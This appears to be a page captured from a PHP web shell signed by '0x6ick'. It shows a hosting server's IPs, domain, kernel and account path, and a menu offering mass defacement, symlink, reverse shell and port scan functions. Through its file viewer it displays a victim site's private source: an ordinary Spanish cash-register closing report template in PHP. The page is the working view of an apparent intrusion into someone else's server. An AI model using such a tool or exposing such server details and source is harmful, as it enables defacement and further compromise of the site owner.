Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil
/
views
/
cajas
/
Viewing: reporte.php
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo $data['title']; ?></title> <style> * { font-family: Arial, sans-serif; } body { font-size: 10px; color: #333; margin: 0; padding: 0; } .header-container { width: 100%; margin-bottom: 10px; border-bottom: 2px solid #1a56db; padding-bottom: 5px; } .company-table { width: 100%; border-collapse: collapse; } .company-logo { width: 25%; vertical-align: top; } .company-logo img { max-height: 50px; } .company-info { width: 45%; vertical-align: top; padding-left: 10px; } .company-name { font-size: 13px; font-weight: bold; color: #111827; text-transform: uppercase; margin-bottom: 2px; } .company-meta { font-size: 9px; color: #4b5563; margin-bottom: 1px; } .invoice-details { width: 30%; vertical-align: top; text-align: right; } .invoice-title { font-size: 15px; font-weight: bold; color: #1a56db; text-transform: uppercase; margin-bottom: 5px; } .invoice-line { font-size: 9px; margin-bottom: 2px; } .invoice-line .label { color: #6b7280; font-weight: bold; } .invoice-line .value { color: #111827; font-weight: bold; margin-left: 5px; } .section-header { background-color: #f3f4f6; padding: 4px 8px; margin-top: 8px; margin-bottom: 4px; border-left: 3px solid #1a56db; } .section-title { font-size: 11px; font-weight: bold; color: #1f2937; text-transform: uppercase; margin: 0; } .section-subtitle { font-size: 9px; color: #6b7280; margin: 0; } .summary-boxes { width: 100%; border-collapse: separate; border-spacing: 5px 0; margin-bottom: 5px; } .summary-box { background-color: #ffffff; border: 1px solid #e5e7eb; border-radius: 4px; padding: 6px; text-align: center; } .summary-box.highlight { background-color: #eff6ff; border-color: #bfdbfe; } .summary-label { display: block; font-size: 9px; color: #6b7280; font-weight: bold; text-transform: uppercase; margin-bottom: 3px; } .summary-value { display: block; font-size: 12px; font-weight: bold; color: #111827; } .summary-box.highlight .summary-value { color: #1d4ed8; } table.data-table { width: 100%; border-collapse: collapse; margin-bottom: 8px; font-size: 9px; } table.data-table th { background-color: #1f2937; color: #ffffff; padding: 4px; text-align: left; font-weight: bold; text-transform: uppercase; font-size: 9px; } table.data-table th.text-center { text-align: center; } table.data-table th.text-right { text-align: right; } table.data-table td { padding: 4px 5px; border-bottom: 1px solid #e5e7eb; color: #374151; } table.data-table tr:nth-child(even) td { background-color: #f9fafb; } table.data-table td.text-center { text-align: center; } table.data-table td.text-right { text-align: right; } .row-total td { background-color: #e5e7eb !important; font-weight: bold; color: #111827; border-top: 2px solid #9ca3af; } .row-danger td { background-color: #fef2f2 !important; color: #991b1b; font-weight: bold; } .row-success td { background-color: #f0fdf4 !important; color: #166534; font-weight: bold; } .final-box-container { width: 100%; margin-top: 15px; } .final-box { background-color: #1f2937; color: #ffffff; border-radius: 4px; padding: 10px; text-align: center; width: 50%; margin: 0 auto; } .final-box-label { font-size: 11px; color: #9ca3af; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 4px; } .final-box-value { font-size: 18px; font-weight: bold; color: #fcd34d; } </style> </head> <body> <?php $movimientos = isset($data['movimientos']) && is_array($data['movimientos']) ? $data['movimientos'] : []; $numeroCaja = $data['numeroCaja'] ?? null; $detalleIngresos = isset($movimientos['detalleIngresos']) && is_array($movimientos['detalleIngresos']) ? $movimientos['detalleIngresos'] : []; $detalleCierre = isset($movimientos['detalleCierre']) && is_array($movimientos['detalleCierre']) ? $movimientos['detalleCierre'] : []; $detalleCreditoPorCobrar = isset($movimientos['detalleCreditoPorCobrar']) && is_array($movimientos['detalleCreditoPorCobrar']) ? $movimientos['detalleCreditoPorCobrar'] : []; $detalleVentasContadoFormaPago = isset($movimientos['detalleVentasContadoFormaPago']) && is_array($movimientos['detalleVentasContadoFormaPago']) ? $movimientos['detalleVentasContadoFormaPago'] : []; $detalleAbonosRecibidosFormaPago = isset($movimientos['detalleAbonosRecibidosFormaPago']) && is_array($movimientos['detalleAbonosRecibidosFormaPago']) ? $movimientos['detalleAbonosRecibidosFormaPago'] : []; $detalleSalidasFormaPago = isset($movimientos['detalleSalidasFormaPago']) && is_array($movimientos['detalleSalidasFormaPago']) ? $movimientos['detalleSalidasFormaPago'] : []; $detalleSalidas = isset($movimientos['detalleSalidas']) && is_array($movimientos['detalleSalidas']) ? $movimientos['detalleSalidas'] : []; $detalleGastosCaja = isset($movimientos['detalleGastosCaja']) && is_array($movimientos['detalleGastosCaja']) ? $movimientos['detalleGastosCaja'] : []; $detalleEgresosCaja = isset($movimientos['detalleEgresosCaja']) && is_array($movimientos['detalleEgresosCaja']) ? $movimientos['detalleEgresosCaja'] : []; $totalIngresosDetalle = 0; foreach ($detalleIngresos as $item) { $totalIngresosDetalle += isset($item['monto']) ? (float)str_replace(',', '', $item['monto']) : 0; } $totalEgresosDetalle = 0; $totalGastosDetalle = 0; $totalComprasDetalle = 0; $totalAbonosPorPagarDetalle = 0; foreach ($detalleSalidas as $item) { $tituloSalida = isset($item['titulo']) ? mb_strtolower(trim($item['titulo'])) : ''; $montoSalida = isset($item['monto']) ? (float)str_replace(',', '', $item['monto']) : 0; if ($tituloSalida === 'compras') { $totalComprasDetalle += $montoSalida; } if ($tituloSalida === 'abonos a cuentas por pagar') { $totalAbonosPorPagarDetalle += $montoSalida; } if ($tituloSalida === 'egresos') { $totalEgresosDetalle += $montoSalida; } if ($tituloSalida === 'gastos de caja') { $totalGastosDetalle += $montoSalida; } } $montoInicialRaw = isset($movimientos['montoInicial']) ? (float)$movimientos['montoInicial'] : 0; $saldoCalculado = $montoInicialRaw + $totalIngresosDetalle - ($totalComprasDetalle + $totalAbonosPorPagarDetalle + $totalEgresosDetalle + $totalGastosDetalle); // Fallbacks to 0.00 to avoid empty strings $inicialResumen = (!empty($movimientos['inicialDecimal'])) ? $movimientos['inicialDecimal'] : number_format($montoInicialRaw, 2); $ingresosResumen = ($totalIngresosDetalle != 0 || empty($movimientos['ingresosDecimal'])) ? number_format($totalIngresosDetalle, 2) : $movimientos['ingresosDecimal']; $egresosResumen = ($totalEgresosDetalle != 0 || empty($movimientos['egresosDecimal'])) ? number_format($totalEgresosDetalle, 2) : $movimientos['egresosDecimal']; $gastosResumen = ($totalGastosDetalle != 0 || empty($movimientos['gastosDecimal'])) ? number_format($totalGastosDetalle, 2) : $movimientos['gastosDecimal']; $apartadosResumen = $movimientos['apartadosDecimal'] ?? '0.00'; $tallerResumen = $movimientos['tallerDecimal'] ?? '0.00'; $creditosResumen = $movimientos['creditosDecimal'] ?? '0.00'; $ventasContadoResumen = $movimientos['ventasContadoDecimal'] ?? '0.00'; $rango = isset($data['rango']) && is_array($data['rango']) ? $data['rango'] : []; $rangoDesde = !empty($rango['desde']) ? formatFechaHora($rango['desde'], null, 'd/m/Y') : null; $rangoHasta = !empty($rango['hasta']) ? formatFechaHora($rango['hasta'], null, 'd/m/Y') : null; $totalIngresosReales = (isset($movimientos['ventasContado']) ? (float)$movimientos['ventasContado'] : 0) + (isset($movimientos['apartados']) ? (float)$movimientos['apartados'] : 0) + (isset($movimientos['taller']) ? (float)$movimientos['taller'] : 0) + (isset($movimientos['creditos']) ? (float)$movimientos['creditos'] : 0); $totalIngresosAEntregar = $totalIngresosReales - ($totalEgresosDetalle + $totalGastosDetalle); ?> <div class="header-container"> <table class="company-table"> <tr> <td class="company-logo"> <img src="<?php echo assetVersion('assets/images/logo.png'); ?>" alt="Logo"> </td> <td class="company-info"> <div class="company-name"><?php echo htmlspecialchars($data['empresa']['nombre']); ?></div> <div class="company-meta">RNC: <?php echo htmlspecialchars($data['empresa']['ruc']); ?></div> <div class="company-meta">Teléfono: <?php echo htmlspecialchars($data['empresa']['telefono']); ?></div> <div class="company-meta">Dirección: <?php echo htmlspecialchars($data['empresa']['direccion']); ?></div> </td> <td class="invoice-details"> <div class="invoice-title">Cierre de Caja</div> <div class="invoice-line"> <span class="label">Caja N°:</span> <span class="value"><?php echo !empty($numeroCaja) ? htmlspecialchars($numeroCaja) : htmlspecialchars($data['idCaja'] ?? ''); ?></span> </div> <?php if ($data['actual']) { ?> <div class="invoice-line"> <span class="label">Tipo:</span> <span class="value">Turno Actual</span> </div> <div class="invoice-line"> <span class="label">Usuario:</span> <span class="value"><?php echo htmlspecialchars($_SESSION['nombre_usuario'] ?? 'Desconocido'); ?></span> </div> <div class="invoice-line"> <span class="label">Fecha:</span> <span class="value"><?php echo date('d/m/Y H:i A'); ?></span> </div> <?php } else { ?> <div class="invoice-line"> <span class="label">Tipo:</span> <span class="value">Histórico</span> </div> <?php if (!empty($rangoDesde) || !empty($rangoHasta)) { ?> <div class="invoice-line"> <span class="label">Rango:</span> <span class="value"><?php echo ($rangoDesde ?? 'Inicio') . ' al ' . ($rangoHasta ?? 'Hoy'); ?></span> </div> <?php } ?> <?php } ?> </td> </tr> </table> </div> <div class="section-header"> <h3 class="section-title">Resumen General</h3> <p class="section-subtitle">Balance principal del turno (Apertura + Entradas - Salidas)</p> </div> <table class="summary-boxes"> <tr> <td class="summary-box"> <span class="summary-label">Fondo de Apertura</span> <span class="summary-value">C$ <?php echo $inicialResumen; ?></span> </td> <td class="summary-box"> <span class="summary-label">Ingresos Brutos</span> <span class="summary-value">C$ <?php echo $ingresosResumen; ?></span> </td> <td class="summary-box highlight"> <span class="summary-label">Ingresos Netos a Entregar</span> <span class="summary-value">C$ <?php echo number_format($totalIngresosAEntregar, 2); ?></span> </td> </tr> </table> <div class="section-header"> <h3 class="section-title">Desglose de Ingresos</h3> <p class="section-subtitle">Movimientos que aumentan la liquidez de la caja</p> </div> <table class="summary-boxes" style="margin-bottom: 5px;"> <tr> <td class="summary-box"> <span class="summary-label">Ventas Contado</span> <span class="summary-value">C$ <?php echo $ventasContadoResumen; ?></span> </td> <td class="summary-box"> <span class="summary-label">Apartados</span> <span class="summary-value">C$ <?php echo $apartadosResumen; ?></span> </td> <td class="summary-box"> <span class="summary-label">Taller</span> <span class="summary-value">C$ <?php echo $tallerResumen; ?></span> </td> <td class="summary-box"> <span class="summary-label">Abonos</span> <span class="summary-value">C$ <?php echo $creditosResumen; ?></span> </td> </tr> </table> <table class="data-table"> <tbody> <tr class="row-total"> <td class="text-right" style="width: 75%;">TOTAL INGRESOS REALES OBTENIDOS</td> <td class="text-center" style="width: 25%;">C$ <?php echo number_format($totalIngresosReales, 2); ?></td> </tr> </tbody> </table> <div class="section-header"> <h3 class="section-title">Consolidado por Formas de Pago</h3> <p class="section-subtitle">Dinero captado por cada método de pago habilitado</p> </div> <table class="data-table"> <thead> <tr> <th>Método de Pago</th> <th class="text-center">Monto Consolidado</th> </tr> </thead> <tbody> <?php $totalesPorFormaPago = $movimientos['totalesPorFormaPago'] ?? []; $totalMontoMetodos = 0; foreach ($totalesPorFormaPago as $metodo => $monto) { if ($monto > 0) { $totalMontoMetodos += $monto; ?> <tr> <td><?php echo htmlspecialchars($metodo); ?></td> <td class="text-center">C$ <?php echo number_format((float)$monto, 2); ?></td> </tr> <?php } } ?> <tr class="row-total"> <td class="text-right">TOTAL INGRESOS POR MÉTODOS DE PAGO</td> <td class="text-center">C$ <?php echo number_format($totalMontoMetodos, 2); ?></td> </tr> </tbody> </table> <?php $cierreMetodos = $movimientos['cierreMetodos'] ?? []; if (!empty($cierreMetodos)) { $totalEntregaFisica = 0; ?> <div class="section-header"> <h3 class="section-title">Arqueo Reportado por el Cajero</h3> <p class="section-subtitle">Montos entregados físicamente al momento de cerrar</p> </div> <table class="data-table"> <thead> <tr> <th>Método de Pago</th> <th class="text-center">Monto Físico/Declarado</th> </tr> </thead> <tbody> <?php foreach ($cierreMetodos as $cm) { $totalEntregaFisica += (float)$cm['monto']; ?> <tr> <td><?php echo htmlspecialchars($cm['metodo']); ?></td> <td class="text-center">C$ <?php echo number_format((float)$cm['monto'], 2); ?></td> </tr> <?php } ?> <tr class="row-total"> <td class="text-right">TOTAL DINERO ENTREGADO POR CAJERO</td> <td class="text-center">C$ <?php echo number_format($totalEntregaFisica, 2); ?></td> </tr> <?php $diferencia = $totalEntregaFisica - $totalMontoMetodos; ?> <tr class="<?php echo ($diferencia !== 0.0) ? 'row-danger' : 'row-success'; ?>"> <td class="text-right">DIFERENCIA (FÍSICO VS SISTEMA)</td> <td class="text-center"> C$ <?php echo number_format($diferencia, 2); ?> <?php if ($diferencia > 0) echo " (Sobrante)"; else if ($diferencia < 0) echo " (Faltante)"; else echo " (Cuadrado)"; ?> </td> </tr> </tbody> </table> <?php } ?> <?php if (!empty($detalleCierre)) { ?> <div class="section-header"> <h3 class="section-title">Detalle Operativo de Ventas</h3> <p class="section-subtitle">Ventas realizadas, cancelaciones y descuentos</p> </div> <table class="data-table"> <thead> <tr> <th>Concepto</th> <th class="text-center">Cantidad</th> <th class="text-center">Monto</th> </tr> </thead> <tbody> <?php foreach ($detalleCierre as $item) { ?> <tr> <td><?php echo htmlspecialchars($item['titulo']); ?></td> <td class="text-center"><?php echo htmlspecialchars($item['cantidad']); ?></td> <td class="text-center">C$ <?php echo htmlspecialchars($item['monto']); ?></td> </tr> <?php } ?> </tbody> </table> <?php } ?> <div class="section-header"> <h3 class="section-title">Detalle de Salidas y Egresos</h3> <p class="section-subtitle">Gastos que disminuyeron el saldo de la caja chica</p> </div> <table class="data-table"> <thead> <tr> <th>Concepto</th> <th class="text-center">Monto Extraído</th> </tr> </thead> <tbody> <tr> <td>Egresos Operativos</td> <td class="text-center">C$ <?php echo number_format($totalEgresosDetalle ?? 0, 2); ?></td> </tr> <tr> <td>Gastos Locales de Caja</td> <td class="text-center">C$ <?php echo number_format($totalGastosDetalle ?? 0, 2); ?></td> </tr> <tr class="row-total"> <td class="text-right">TOTAL EFECTIVO SUSTRAÍDO</td> <td class="text-center">C$ <?php echo number_format(($totalEgresosDetalle ?? 0) + ($totalGastosDetalle ?? 0), 2); ?></td> </tr> </tbody> </table> <div class="final-box-container"> <div class="final-box"> <div class="final-box-label">Monto de apertura a retornar</div> <div class="final-box-value">C$ <?php echo $inicialResumen; ?></div> </div> </div> </body> </html>
Coded With 💗 by
0x6ick